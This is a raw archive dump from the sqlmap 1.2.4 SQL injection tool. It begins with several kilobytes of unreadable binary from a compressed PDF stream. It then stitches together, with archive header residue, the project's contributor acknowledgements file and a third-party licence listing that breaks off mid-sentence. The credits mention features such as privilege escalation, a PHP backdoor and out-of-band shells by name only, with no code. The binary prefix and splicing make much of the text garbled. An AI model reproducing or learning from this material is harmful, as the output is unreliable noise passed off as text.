qç8…§±oÝx&Ô*ÇЄZåšP«(F$dB•QL2î5ÏÁ•ËÇnspdBÕq9È„j£*dB­òŽL¨UÞ‘ •ãŠB1S™Â£Û–•n<*¯òŽš™ÆÀ·®Äd*çQrV¡2ŒÁÙL¸zùØmŽU¨¼Ê(V¡2­¢™ÆìdŠW½L(×{ISxûÖÍgB•ž©eª˜Pk“ UÇU,&T)ã¾dÄ\»|ì6WT(ý:S’™Æ$+l¦< Ò ^5Ó žr‡<×NcߺÍáÉŒuuòÖhŽëSU(€‘BÍf)T0Ó˜®Õ¸ã|ÏÞÒ®zŸ±j:á Šé´J»j:ñE4©}[xþñõåÝÛÏÞ ®õÎh‡Bjs€ú-zn@^}:3¬æµiimuàÎ$ê@[›$$ÞÍ%ŒsÚ|φØCO¢hÄ´VD€ûùßmMm]¤ß¸EÑ8eb6ý6ö¬Ý·ª`î{o~‰’aE4ÍebWa·¨HQa™Ù£~€fޤçȆǶ͘=6ÒA†´)<áÓhæ°}4"SÑÌ.3Ñl&™ˆÚŸÝý˜}>’³<O—gjËò—æªeåÄÞ´ŒÚØYW3çºK†.›1{\Ø2™fÑ,yÊÌ#Ša›zt L<šÑ”'MéÆ;¤Œ÷ƒöYÙ~˜E}äž8q°žV³E¨#Y=Ä™p²|¸½ÉÜã»3%´Þ,šmHŒ;¯Ý ÀuÛm¢¸n«“ë^Šg×m…ôtŸm)ÌÇŸáo•”Ïp©ª7Ú 仵(É÷ëø²3^õ/g4(o‚cÐöXªàãЕ¬;2èR¶žº–m‡§®‚›†â—eÈuX˜83œ¢i ê±ŠÍÇ©Ïy<$îü*3ú2«Ê諬"S:#B»8œÑ@׊üµÒ¥"_Ý0ìSÔJ›§ùM´·žœ£ëÖ?ŸI¾8ãà¥JËçÒRF±çÕ/FÏ‹êEÏKê­Ž7ZÝÅGÁþ|ø1õ¨ì°€ƒÁæÆš\·Ž®äºAÝÍu£V^l«†)¦CþñVLnÆ íÄ&(> …É÷k1‰äûµšÁæûµ¸¤HýåP†ü±ÂÙÎpJÙBÄ;D‹úwˆVõûDU§èW™¢?ZUJpF¾8œAÅN~2¨DÙ—HÊ>E(û›&¢—VôP9“tqÆ –DœÐG¡©ú~YfÎÙ÷ƒúÙ÷£Þ‹¢ï·{ÊÎv€sÛ,vˆêãîÕ‡ô‰êvpOV+´É=Y­Ð¦ÚΨÀg‚3"èvh~JêvhÅu«Bѧ¨E_ }TIN"ØÇ!Ÿ`¶N}–5·ìAЀ]€Z0z^- ¸z^- ŠWŸ¶Ê!uç{oIÚI–.W—›çÕå¦uu¸Ù1v{×Ýz³zÑóêk`¬ÇÌËe>ú¸Ýï 9Ii·ðªU+ö!£çÕç„\=¯¾)x5¨U·‡KŽÓRϬ¸Uùà²ö^©joJ@ìz£¾Øf×­£›?Zk̹ÏO܇ùúä„^qÂöQB¯8aû&a×Íê.®[‡¼¢‚í;‚KQ±ÇŸgáëø3è{SvjÞ{G½¾wÔ-Ïh즎æ}qsCóþø¨ãÙýw~‚º&~u¹UõºÜšznÅ.OÞÍ¢ØÝÉ»WT‹í˜ù,ëë™Ï[³äÀko_mzä´ñwŸ¿½ü$#^¿åÒH½‘{{ƒzc³è_¿ûñ¯ÿ~}úíuö{ÿ-Féãko´k#÷ð¹‡Ïùà'ûñ×Éáúrhÿ†tmtÌתÖþéÚ¨þŒî¯·H9täБC:šyE¼ýybçµ°Ç…Î:è| « ÆO{¢Û\L{tì±sÄλâØ"ê…pUÝbwžØybçI} ¨ã£üiuÈjsöÈâF£®u¨¯$u†Ôn×7Ú)Ù¸ks|\Ì%™²à¾þ áj®¯Ÿ?Èû5™¢[ÿó¿÷Ïáñ«§×§_ÞýüðøOÙ’ÚiùYãáñ¿¿þòòv1ÕÅ´œ¡éú×2ä›w?=?þ÷Ãsï.ß?¿ýÒp^¤Ðˆÿ/,À endstream endobj 1468 0 obj << /Type /XRef /Index [0 1469] /Size 1469 /W [1 3 1] /Root 1466 0 R /Info 1467 0 R /ID [<47A691CA16E4142BCC1FEA4C57D8B57E> <47A691CA16E4142BCC1FEA4C57D8B57E>] /Length 3458 /Filter /FlateDecode >> stream xÚ%™[lW†go±ÇÛqì$NìÄIœ8ÇŽoIœ›sOìÄ—Ä—ø~ ²õµEBê#D D)…ª ©HÀ»ðBBÀD[!­P(B**•P›Î÷çåˬŽÏ™³×ÿÏœ½EQô¿8ŠâÈ¢¨¾ôOÙÆ®8ªøÔšm7Ú*e(GkG[¡¬•hGÑ–)«À&´chK”Õ mm‘²lF;¶@Y¶ ÝB›§¬í6ÚeØŠ¶Žv²l+iEÚ,ehFÛŠ6C¹ì@kD›¦Ü Zж¡MQî»ÑšÐîR¶‚6´f´;”{À^´íh“”í`Úa´ ÊýàÚ´qÊpMßwŒòèDÓ÷½MyA›B»Ey”–¸¼-B¥ìÇÑÊÑF(»AZÚMÊ ­íeèGÛŒvr ¢Õ¡]£< N¡mA»Jy ¡Õ£]¡<΢i/SžçѴΗ(/€a4­óEJášÖy˜Rop­M¦¿†&ïž§Ô…ß@“wõ‘úÒ#h{ÑÎRjÁn¡@Óåj±ÇÐ:І(Õ¨ ´ƒhúªjò4õò¥ 2…¦,h™d®´^´AJóZš–X¦žGëGë§T ÑN£©= Ó2ÚZ/¥‚¸ŠvM­Uˆ×Ñ΢õPÞ/!/…½òµˆç87ržÇhÑŽSö¼í¾Ê {^‰ví%aÏ7¡]GÓ9aÏkÐn ¡$ìùf´›hø9'ìù´´NJž;´I4²ö|+Ú´ƒ”„=߆vå„=oFSHPö|ÚÌ {Þ‚6¶’°ç»ÑVÐÈoNØó6´U´½”„=/•' J½xš¡µQꃠÅhz+]äA´2´Ý”ú‚hUhº -δMh-”ZXž(œú j aOÚJ5”°'º êë㈜°' X3%nÊ {¢€iépbNØl%.Î {¢€iÙI@NØ“=h[)IONØL-#y9aOôÀp”¤6'ìÉ>4µ›°ç„=ÑÍr %aÏ {¢€É*„='쉶™’°ç„=ÑÃF6#ì9aOzÐj( {NØ“h²(aÏ {¢pn¢$ì9aOô ’½ {NØ““h•”„='ìÉ)4Eƒ°ç„=Q`Ë) {NØV±"ì9aOôà‹) {NØåM‘$ì9aO”·ˆ’°ç„=)-NEªLöœ°'WÑÖ)K'ì+¥°où(aO]º†f€°'„.]¥,„=!té e ì ¡K—)«aOSºDY {B˜ÒEÊZ@Ø“´Ê:@ØžØéÐeQó"Ž´$<žRµV=× JKÇ3*Õ=L77¹d 'úÁ'Á)p 3à,8΃ `\—Àep\×ÀupÜ#`Ü·Á$¸ÆÁq‹v}[ßhŒ‹¤çéfÊ»` Lƒ0 îy°–À Xk``ÖÀ;Üb€'C9À‰¡à¿° Ôl¸‚àÎ Zº ‹öŽêýäº9°–Ѫ-º2©³[æ Û– Í#…û„€_~ ø%à—€_~ ø%à—€_~ ø%à—€_~ d&¦@òö ø%ÐB½E½Ýº>|0kÀC\pDÀGpDÀGpDÀGpDÀGpDÀGpDÀGÆfƒzèyÀ¡×¢“¯éêqNÀº0CÀ ~Ôl°EÀ[„ûlæ5…0 ÙCÐÄ¡hÎP4]¨š)ÔMê€æõ@SFêþ”Eçž×g4XôÂ×uÔ˜llÌ6v‚VÐhÑø°^§_zÓ=€½ýF›E³/è,?zS}xØoÑúK:Á~ã`G¿qtƒ}äi½D·C}…nÐN€^ÐúÁIPÊeú¬þlœgÀpÊ¢ÏLéì90΂‹à¸ ®€«à¸n€›`Œa‹žú˜ÞO÷]-ç˜wÀ]0¦Á ˜÷À˜ `,e°V™j¨ç²À¸EÏ<¬\ã>(ðA |Pàƒø À>(XÄ´¢À-+4ÙÙ4ÏÑð§ô¼üñ|PáÌÊß×=/4Þ¡É…†:í@£œý@Mlèjqì´è§ïé 4¶ÁM.ŽºZÐÕ‚®tµ «]-hc1èoq ÐÕ‚æ´¶ ƒÅy@“ zYÐÆâ˜E¿êÒçÒÚ‚žÀÖ´¶ µ­-hmAk Z[\±è•Iýí( «]-èjA/‹R+ÞxN/ÑÏ­Žèj1cÑ_—t‚N´¶˜³èí&i´» ¿Å¢Eï¾%žjèŠEïýFšF4¾X·èý1i÷Í>÷ŽÆU 6k¬S©ç¥fÕ@Ó 6™µ<ª—Ô‚í Á¬½Wšþ¢ì0ë\“¶´ƒ6³î7¤í‡À>³¡ÏKÛ4_ë4»xYÔ´‘# ÙºFk'Áè2»vK/>4ì4›xLšæfb]0›ý4;FÁU³µ išiÝã`Ü2KjtVÓ(©f†D3fôë¬fKÚyi@²–Ì>þ`I´¡ÔdgÝìÓ?”vßâŽÏj£Èê&f_~°oÔ°Ô˜}sL뜰°É³ç¿#­°öI£Ù‹ÕÒô“³‰#¶ZI©þ:AV7i5ûåfiì¼’@’.pÀìåNÕ€D““>pÜìµ?é H΀~³×ÏK£ ÉpÖìÍ¥iÏÄn1Ñü`ØìïoéÄEÀÚ'×ÍþY&MãÍJ+þïg¤ÑŠä.7ûïëÒ4&Ð~Êâøei4*Ñ>~ÖâÍïJÓ&D‹³J¿Ê›~¡´ÂëhÕâÖWu´fñ÷G8ò¬½7‹¾¢’=»góí1¿gÅ}•Å}ßÕYvÛžæyÚãkïK[–3è%ØÖkg͵xí›-¾ô ¥)žŸÓ©6ÐÚõ¶Z<úÕÆX»^úæµ×Õæö0h·xú«z6·´ÑÓF¯=ì‹Wtö( ^Tšç»,þЃ¿Õæö4è±ø!ÝÓnO½¶ŒC?Ò¢Œ5S]³öƒ—-~ì¶NhI·üM‹Ÿø–4mÖø1‹Ÿ|ðÄÊÏi‹ŸR?<½ôjʼÅOMÚàVåÉ‘×ΫŒ£‹ŸkÖK4¼h±ÊßÓö«”[ü£Ÿ©ä׿Ó^¨Æâ—vK«Ú iSSoñÏ;t‚¡Û ¶[üëKÓ§ ´Xü»iÌ#ck·ÇâW/M¿Atâè°øÏõ:ÁØÚ±'qÿå_Ò¸‘¹npÌâ·¾!­ 0 s¥¼ý¦4¦eŽ †ë³øÝÏKcÈáq¹A‹ß{]š†lq¥F}ðà«2“vŒ'óǰÁ1âr̯sÇ`Á1*vŒ©wÎÊÊšõŒ©s ÇÌiâÀ6Üs¤Í-“ÇèÀiãÎÓÊi»> ´Ig8à´5Ÿ³²Úr½ó¼•}ñ{:Z°ò²¿éhÑÊ×Ñ’•ÿã-[ÅØ;:Z±Šç?©£U«¬û‰ŽÖ¬r¡WGëV¹Ñ££ûVùÇg5?ˆ¬jù!iMS ŽÔ­v«J¾¤A²þ #e¥¿x”ýLEÆ·Ìø‚O¿Œ}c†›2ö[ËŒMf†á2vh¾ÊØ‹g 2\—ñ2^Ë0WÆn;cBqΘd˜0ã?¯2¼–ῌ߻nÊèjÆÕg\}ÆÕg\}Æ cÓŸ±ËϰcÆ›d.ÄY'Àk¿r3L˜± ÎðZƦ?ÄƒÚ ¯eø/ã?F2l– XÕý¥%y¼6ú?ãó’ endstream endobj startxref 490507 %%EOF sqlmap-1.2.4/doc/THANKS.md000066400000000000000000000601761326012263700151060ustar00rootroot00000000000000# Individuals Andres Tarasco Acuna, * for suggesting a feature Santiago Accurso, * for reporting a bug Syed Afzal, * for contributing a WAF script varnish.py Zaki Akhmad, * for suggesting a couple of features Olu Akindeinde, * for reporting a couple of bugs David Alvarez, * for reporting a bug Sergio Alves, * for reporting a bug Thomas Anderson, * for reporting a bug Chip Andrews, * for his excellent work maintaining the SQL Server versions database at SQLSecurity.com and permission to implement the update feature taking data from his site Smith Andy, * for suggesting a feature Otavio Augusto, * for reporting a minor bug Simon Baker, * for reporting some bugs Ryan Barnett, * for organizing the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html Emiliano Bazaes, * for reporting a minor bug Daniele Bellucci, * for starting sqlmap project and developing it between July and August 2006 Sebastian Bittig, and the rest of the team at r-tec IT Systeme GmbH * for contributing the DB2 support initial patch: fingerprint and enumeration Anthony Boynes, * for reporting several bugs Marcelo Toscani Brandao * for reporting a bug Velky Brat, * for suggesting a minor enhancement to the bisection algorithm James Briggs, * for suggesting a minor enhancement Gianluca Brindisi, * for reporting a couple of bugs Jack Butler, * for contributing the sqlmap site favicon Ulisses Castro, * for reporting a bug Roberto Castrogiovanni, * for reporting a minor bug Cesar Cerrudo, * for his Windows access token kidnapping tool Churrasco included in sqlmap tree as a contrib library and used to run the stand-alone payload stager on the target Windows machine as SYSTEM user if the user wants to perform a privilege escalation attack, http://www.argeniss.com/research/TokenKidnapping.pdf Karl Chen, * for contributing the initial multi-threading patch for the inference algorithm Y P Chien, * for reporting a minor bug Pierre Chifflier, and Mark Hymers, * for uploading and accepting the sqlmap Debian package to the official Debian project repository Hysia Chow * for contributing a couple of WAF scripts Chris Clements, * for reporting a couple of bugs John Cobb, * for reporting a minor bug Andreas Constantinides, * for reporting a minor bug Andre Costa, * for reporting a minor bug * for suggesting a minor enhancement Ulises U. Cune, * for reporting a bug Alessandro Curio, * for reporting a minor bug Alessio Dalla Piazza, * for reporting a couple of bugs Sherif El-Deeb, * for reporting a minor bug Stefano Di Paola, * for suggesting good features Mosk Dmitri, * for reporting a minor bug Meng Dong, * for contributing a code for Waffit integration Carey Evans, * for his fcrypt module that allows crypt(3) support on Windows platforms Shawn Evans, * for suggesting an idea for one tamper script, greatest.py Adam Faheem, * for reporting a few bugs James Fisher, * for contributing two very good feature requests * for his great tool too brute force directories and files names on web/application servers, DirBuster, http://tinyurl.com/dirbuster Jim Forster, * for reporting a bug Rong-En Fan, * for committing the sqlmap 0.5 port to the official FreeBSD project repository Giorgio Fedon, * for suggesting a speed improvement for bisection algorithm * for reporting a bug when running against Microsoft SQL Server 2005 Kasper Fons, * for reporting several bugs Jose Fonseca, * for his Gprof2Dot utility for converting profiler output to dot graph(s) and for his XDot utility to render nicely dot graph(s), both included in sqlmap tree inside extra folder. These libraries are used for sqlmap development purposes only http://code.google.com/p/jrfonseca/wiki/Gprof2Dot http://code.google.com/p/jrfonseca/wiki/XDot Alan Franzoni, * for helping out with Python subprocess library Harold Fry, * for suggesting a minor enhancement Daniel G. Gamonal, * for reporting a minor bug Marcos Mateos Garcia, * for reporting a minor bug Andrew Gecse, * for reporting a minor issue Ivan Giacomelli, * for reporting a bug * for suggesting a minor enhancement * for reviewing the documentation Dimitris Giannitsaros, * for contributing a REST-JSON API client Nico Golde, * for reporting a couple of bugs Oliver Gruskovnjak, * for reporting a bug * for contributing a minor patch Davide Guerri, * for suggesting an enhancement Dan Guido, * for promoting sqlmap in the context of the Penetration Testing and Vulnerability Analysis class at the Polytechnic University of New York, http://isisblogs.poly.edu/courses/pentest/ David Guimaraes, * for reporting considerable amount of bugs * for suggesting several features Chris Hall, * for coding the prettyprint.py library Tate Hansen, * for donating to sqlmap development Mario Heiderich, Christian Matthies, Lars H. Strojny, * for their great tool PHPIDS included in sqlmap tree as a set of rules for testing payloads against IDS detection, http://php-ids.org Kristian Erik Hermansen, * for reporting a bug * for donating to sqlmap development Alexander Hagenah, * for reporting a minor bug Dennis Hecken, * for reporting a minor bug Choi Ho, * for reporting a minor bug Jorge Hoya, * for suggesting a minor enhancement Will Holcomb, * for his MultipartPostHandler class to handle multipart POST forms and permission to include it within sqlmap source code Daniel Huckmann, * for reporting a couple of bugs Daliev Ilya, * for reporting a bug Mehmet İnce, * for contributing a tamper script xforwardedfor.py Jovon Itwaru, * for reporting a minor bug Prashant Jadhav, * for reporting a bug Dirk Jagdmann, * for reporting a typo in the documentation Luke Jahnke, * for reporting a bug when running against MySQL < 5.0 Andrew Kitis * for contributing a tamper script lowercase.py David Klein, * for reporting a minor code improvement Sven Klemm, * for reporting two minor bugs with PostgreSQL Anant Kochhar, * for providing with feedback on the user's manual Dmitriy Kononov, * for reporting a minor bug Alexander Kornbrust, * for reporting a couple of bugs Krzysztof Kotowicz, * for reporting a minor bug Nicolas Krassas, * for reporting a couple of bugs Oliver Kuckertz, * for contributing a minor patch Alex Landa, * for contributing a patch adding beta support for XML output Guido Landi, * for reporting a couple of bugs * for the great technical discussions * for Microsoft SQL Server 2000 and Microsoft SQL Server 2005 'sp_replwritetovarbin' stored procedure heap-based buffer overflow (MS09-004) exploit development * for presenting with Bernardo at SOURCE Conference 2009 in Barcelona (Spain) on September 21, 2009 and at CONfidence 2009 in Warsaw (Poland) on November 20, 2009 Lee Lawson, * for reporting a minor bug John J. Lee, and others * for developing the clientform Python library used by sqlmap to parse forms when --forms switch is specified Nico Leidecker, * for providing with feedback on a few features * for reporting a couple of bugs * for his great tool icmpsh included in sqlmap tree to get a command prompt via an out-of-band tunnel over ICMP, http://leidecker.info/downloads/icmpsh.zip Gabriel Lima, * for reporting a couple of bugs Svyatoslav Lisin, * for suggesting a minor feature Miguel Lopes, * for reporting a minor bug Truong Duc Luong, * for reporting a minor bug Pavol Luptak, * for reporting a bug when injecting on a POST data parameter Till Maas, * for suggesting a minor feature Michael Majchrowicz, * for extensively beta-testing sqlmap on various MySQL DBMS * for providing really appreciated feedback * for suggesting a lot of ideas and features Vinícius Henrique Marangoni, * for contributing a Portuguese translation of README.md Ahmad Maulana, * for contributing a tamper script halfversionedmorekeywords.py Ferruh Mavituna, * for exchanging ideas on the implementation of a couple of features David McNab, * for his XMLObject module that allows XML files to be operated on like Python objects Spencer J. McIntyre, * for reporting a minor bug * for contributing a patch for OS fingerprinting on DB2 Brad Merrell, * for reporting a minor bug Michael Meyer, * for suggesting a minor feature Enrico Milanese, * for reporting a minor bug * for sharing some ideas for the PHP backdoor Liran Mimoni, * for reporting a minor bug Marco Mirandola, * for reporting a minor bug Devon Mitchell, * for reporting a minor bug Anton Mogilin, * for reporting a few bugs Sergio Molina, * for reporting a minor bug Anastasios Monachos, * for providing some useful data * for suggesting a feature * for reporting a couple of bugs Kirill Morozov, * for reporting a bug * for suggesting a feature Alejo Murillo Moya, * for reporting a minor bug * for suggesting a few features Yonny Mutai, * for reporting a minor bug Roberto Nemirovsky, * for pointing out some enhancements Sebastian Nerz, * for reporting a (potential) vulnerability in --eval Simone Onofri, * for patching the PHP web backdoor to make it work properly also on Windows Michele Orru, * for reporting a couple of bug * for suggesting ideas on how to implement the RESTful API Shaohua Pan, * for reporting several bugs * for suggesting a few features Antonio Parata, * for sharing some ideas for the PHP backdoor Adrian Pastor, * for donating to sqlmap development Christopher Patten, * for reporting a bug in the blind SQL injection bisection algorithm Zack Payton, * for reporting a minor bug Jaime Penalba, * for contributing a patch for INSERT/UPDATE generic boundaries Pedrito Perez, <0ark1ang3l(at)gmail.com> * for reporting a couple of bugs Brandon Perry, * for reporting a couple of bugs Travis Phillips, * for suggesting a minor enhancement Mark Pilgrim, * for porting chardet package (Universal Encoding Detector) to Python Steve Pinkham, * for suggesting a feature * for contributing a new SQL injection vector (MSSQL time-based blind) * for donating to sqlmap development Adam Pridgen, * for suggesting some features Luka Pusic, * for reporting a couple of bugs Ole Rasmussen, * for reporting a bug * for suggesting a feature Alberto Revelli, * for inspiring to write sqlmap user's manual in SGML * for his great Microsoft SQL Server take over tool, sqlninja, http://sqlninja.sourceforge.net David Rhoades, * for reporting a bug Andres Riancho, * for beta-testing sqlmap * for reporting a bug and suggesting some features * for including sqlmap in his great web application audit and attack framework, w3af, http://w3af.sourceforge.net * for suggesting a way for handling DNS caching Jamie Riden, * for reporting a minor bug Alexander Rigbo, * for contributing a minor patch Antonio Riva, * for reporting a bug when running with python 2.5 Ethan Robish, * for reporting a bug Levente Rog, * for reporting a minor bug Andrea Rossi, * for reporting a minor bug * for suggesting a feature Frederic Roy, * for reporting a couple of bugs Vladimir Rutsky, * for suggesting a couple of minor enhancements Richard Safran, * for donating the sqlmap.org domain Tomoyuki Sakurai, * for submitting to the FreeBSD project the sqlmap 0.5 port Roberto Salgado, * for contributing considerable amount of tamper scripts Pedro Jacques Santos Santiago, * for reporting considerable amount of bugs Marek Sarvas, * for reporting several bugs Philippe A. R. Schaeffer, * for reporting a minor bug Mohd Zamiri Sanin, * for reporting a minor bug Jorge Santos, * for reporting a minor bug Sven Schluter, * for contributing a patch * for waiting a number of seconds between each HTTP request Ryan Sears, * for suggesting a couple of enhancements * for donating to sqlmap development Uemit Seren, * for reporting a minor adjustment when running with python 2.6 Shane Sewell, * for suggesting a feature Ahmed Shawky, * for reporting a major bug with improper handling of parameter values * for reporting a bug Brian Shura, * for reporting a bug Sumit Siddharth, * for sharing ideas on the implementation of a couple of features Andre Silva, * for reporting a bug Benjamin Silva H. * for reporting a bug Duarte Silva * for reporting a couple of bugs M Simkin, * for suggesting a feature Konrads Smelkovs, * for reporting a few bugs in --sql-shell and --sql-query on Microsoft SQL Server Chris Spencer, * for reviewing the user's manual grammar Michael D. Stenner, * for his keepalive module that allows handling of persistent HTTP 1.1 keep-alive connections Marek Stiefenhofer, * for reporting a few bugs Jason Swan, * for reporting a bug when enumerating columns on Microsoft SQL Server * for suggesting a couple of improvements Chilik Tamir, * for contributing a patch for initial support SOAP requests Alessandro Tanasi, * for extensively beta-testing sqlmap * for suggesting many features and reporting some bugs * for reviewing the documentation Andres Tarasco, * for contributing good feedback Tom Thumb, * for reporting a major bug Kazim Bugra Tombul, * for reporting a minor bug Efrain Torres, * for helping out to improve the Metasploit Framework sqlmap auxiliary module and for committing it on the Metasploit official subversion repository * for his great Metasploit WMAP Framework Sandro Tosi, * for helping to create sqlmap Debian package correctly Jacco van Tuijl, * for reporting several bugs Vitaly Turenko, * for reporting a bug Augusto Urbieta, * for reporting a minor bug Bedirhan Urgun, * for reporting a few bugs * for suggesting some features and improvements * for benchmarking sqlmap in the context of his SQL injection benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench Kyprianos Vasilopoulos, * for reporting a couple of minor bugs Vlado Velichkovski, * for reporting considerable amount of bugs * for suggesting an enhancement Johnny Venter, * for reporting a couple of bugs Carlos Gabriel Vergara, * for suggesting couple of good features Patrick Webster, * for suggesting an enhancement Ed Williams, * for suggesting a minor enhancement Anthony Zboralski, * for providing with detailed feedback * for reporting a few minor bugs * for donating to sqlmap development Thierry Zoller, * for reporting a couple of major bugs Zhen Zhou, * for suggesting a feature -insane-, * for reporting a minor bug 1ndr4 joe, * for reporting a couple of bugs abc abc, * for reporting a minor bug Abuse 007, * for reporting a bug agix, * for contributing the file upload via certutil.exe functionality Alex, * for reporting a minor bug anonymous anonymous, * for reporting a couple of bugs bamboo, * for reporting a couple of bugs Brandon E., * for reporting a bug black zero, * for reporting a minor bug blueBoy, * for reporting a bug buawig, * for reporting considerable amount of bugs Bugtrace, * for reporting several bugs cats, * for reporting a couple of bugs Christian S, * for reporting a minor bug clav, * for reporting a minor bug dragoun dash, * for reporting a minor bug flsf, * for contributing WAF scripts 360.py, anquanbao.py, baidu.py, safedog.py * for contributing a minor patch fufuh, * for reporting a bug when running on Windows Hans Wurst, * for reporting a couple of bugs Hysia, * for contributing a Chinese translation of README.md james, * for reporting a bug Joe "Pragmatk", * for reporting a few bugs John Smith, * for reporting several bugs * for suggesting some features m4l1c3, * for reporting considerable amount of bugs mariano, * for reporting a bug mitchell, * for reporting a few bugs Nadzree, * for reporting a minor bug nightman, * for reporting considerable amount of bugs Oso Dog osodog123(at)yahoo.com * for reporting a minor bug pacman730, * for reporting a bug pentestmonkey, * for reporting several bugs * for suggesting a few minor enhancements Phat R., * for reporting a few bugs Phil P, <(at)superevr> * for suggesting a minor enhancement ragos, * for reporting a minor bug rmillet, * for reporting a bug Rub3nCT, * for reporting a minor bug shiftzwei, * for reporting a couple of bugs smith, * for reporting a minor bug Soma Cruz, * for reporting a minor bug Spiros94, * for contributing a Greek translation of README.md Stuffe, * for reporting a minor bug and a feature request Sylphid, * for suggesting some features syssecurity.info, * for reporting a minor bug This LittlePiggy, * for reporting a minor bug ToR, * for reporting considerable amount of bugs * for suggesting a feature ultramegaman, * for reporting a minor bug Vinicius, * for reporting a minor bug wanglei, * for reporting a minor bug warninggp, * for reporting a few minor bugs x, * for reporting a bug zhouhx, * for contributing a minor patch # Organizations Black Hat team, * for the opportunity to present my research titled 'Advanced SQL injection to operating system full control' at Black Hat Europe 2009 Briefings on April 16, 2009 in Amsterdam (NL). I unveiled and demonstrated some of the sqlmap 0.7 release candidate version new features during my presentation * Homepage: http://goo.gl/BKfs7 * Slides: http://goo.gl/Dh65t * White paper: http://goo.gl/spX3N SOURCE Conference team, * for the opportunity to present my research titled 'Expanding the control over the operating system from the database' at SOURCE Conference 2009 on September 21, 2009 in Barcelona (ES). I unveiled and demonstrated some of the sqlmap 0.8 release candidate version new features during my presentation * Homepage: http://goo.gl/IeXV4 * Slides: http://goo.gl/OKnfj AthCon Conference team, * for the opportunity to present my research titled 'Got database access? Own the network!' at AthCon Conference 2010 on June 3, 2010 in Athens (GR). I unveiled and demonstrated some of the sqlmap 0.8 version features during my presentation * Homepage: http://goo.gl/Fs71I * Slides: http://goo.gl/QMfjO Metasploit Framework development team, * for their powerful tool Metasploit Framework, used by sqlmap, among others things, to create the shellcode and establish an out-of-band connection between sqlmap and the database server * Homepage: http://www.metasploit.com OWASP Board, * for sponsoring part of the sqlmap development in the context of OWASP Spring of Code 2007 * Homepage: http://www.owasp.org sqlmap-1.2.4/doc/THIRD-PARTY.md000066400000000000000000000347311326012263700156630ustar00rootroot00000000000000This file lists bundled packages and their associated licensing terms. # BSD * The Ansistrm library located under thirdparty/ansistrm/. Copyright (C) 2010-2012, Vinay Sajip. * The Beautiful Soup library located under thirdparty/beautifulsoup/. Copyright (C) 2004-2010, Leonard Richardson. * The ClientForm library located under thirdparty/clientform/. Copyright (C) 2002-2007, John J. Lee. Copyright (C) 2005, Gary Poster. Copyright (C) 2005, Zope Corporation. Copyright (C) 1998-2000, Gisle Aas. * The Colorama library located under thirdparty/colorama/. Copyright (C) 2013, Jonathan Hartley. * The Fcrypt library located under thirdparty/fcrypt/. Copyright (C) 2000, 2001, 2004 Carey Evans. * The Odict library located under thirdparty/odict/. Copyright (C) 2005, Nicola Larosa, Michael Foord. * The Oset library located under thirdparty/oset/. Copyright (C) 2010, BlueDynamics Alliance, Austria. Copyright (C) 2009, Raymond Hettinger, and others. * The PrettyPrint library located under thirdparty/prettyprint/. Copyright (C) 2010, Chris Hall. * The SocksiPy library located under thirdparty/socks/. Copyright (C) 2006, Dan-Haim. ```` Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - Neither the name of the nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ```` # LGPL * The Chardet library located under thirdparty/chardet/. Copyright (C) 2008, Mark Pilgrim. * The Gprof2dot library located under thirdparty/gprof2dot/. Copyright (C) 2008-2009, Jose Fonseca. * The KeepAlive library located under thirdparty/keepalive/. Copyright (C) 2002-2003, Michael D. Stenner. * The MultipartPost library located under thirdparty/multipart/. Copyright (C) 2006, Will Holcomb. * The XDot library located under thirdparty/xdot/. Copyright (C) 2008, Jose Fonseca. * The icmpsh tool located under extra/icmpsh/. Copyright (C) 2010, Nico Leidecker, Bernardo Damele. ```` GNU LESSER GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. This version of the GNU Lesser General Public License incorporates the terms and conditions of version 3 of the GNU General Public License, supplemented by the additional permissions listed below. 0. Additional Definitions. As used herein, "this License" refers to version 3 of the GNU Lesser General Public License, and the "GNU GPL" refers to version 3 of the GNU General Public License. "The Library" refers to a covered work governed by this License, other than an Application or a Combined Work as defined below. An "Application" is any work that makes use of an interface provided by the Library, but which is not otherwise based on the Library. Defining a subclass of a class defined by the Library is deemed a mode of using an interface provided by the Library. A "Combined Work" is a work produced by combining or linking an Application with the Library. The particular version of the Library with which the Combined Work was made is also called the "Linked Version". The "Minimal Corresponding Source" for a Combined Work means the Corresponding Source for the Combined Work, excluding any source code for portions of the Combined Work that, considered in isolation, are based on the Application, and not on the Linked Version. The "Corresponding Application Code" for a Combined Work means the object code and/or source code for the Application, including any data and utility programs needed for reproducing the Combined Work from the Application, but excluding the System Libraries of the Combined Work. 1. Exception to Section 3 of the GNU GPL. You may convey a covered work under sections 3 and 4 of this License without being bound by section 3 of the GNU GPL. 2. Conveying Modified Versions. If you modify a copy of the Library, and, in your modifications, a facility refers to a function or data to be supplied by an Application that uses the facility (other than as an argument passed when the facility is invoked), then you may convey a copy of the modified version: a) under this License, provided that you make a good faith effort to ensure that, in the event an Application does not supply the function or data, the facility still operates, and performs whatever part of its purpose remains meaningful, or b) under the GNU GPL, with none of the additional permissions of this License applicable to that copy. 3. Object Code Incorporating Material from Library Header Files. The object code form of an Application may incorporate material from a header file that is part of the Library. You may convey such object code under terms of your choice, provided that, if the incorporated material is not limited to 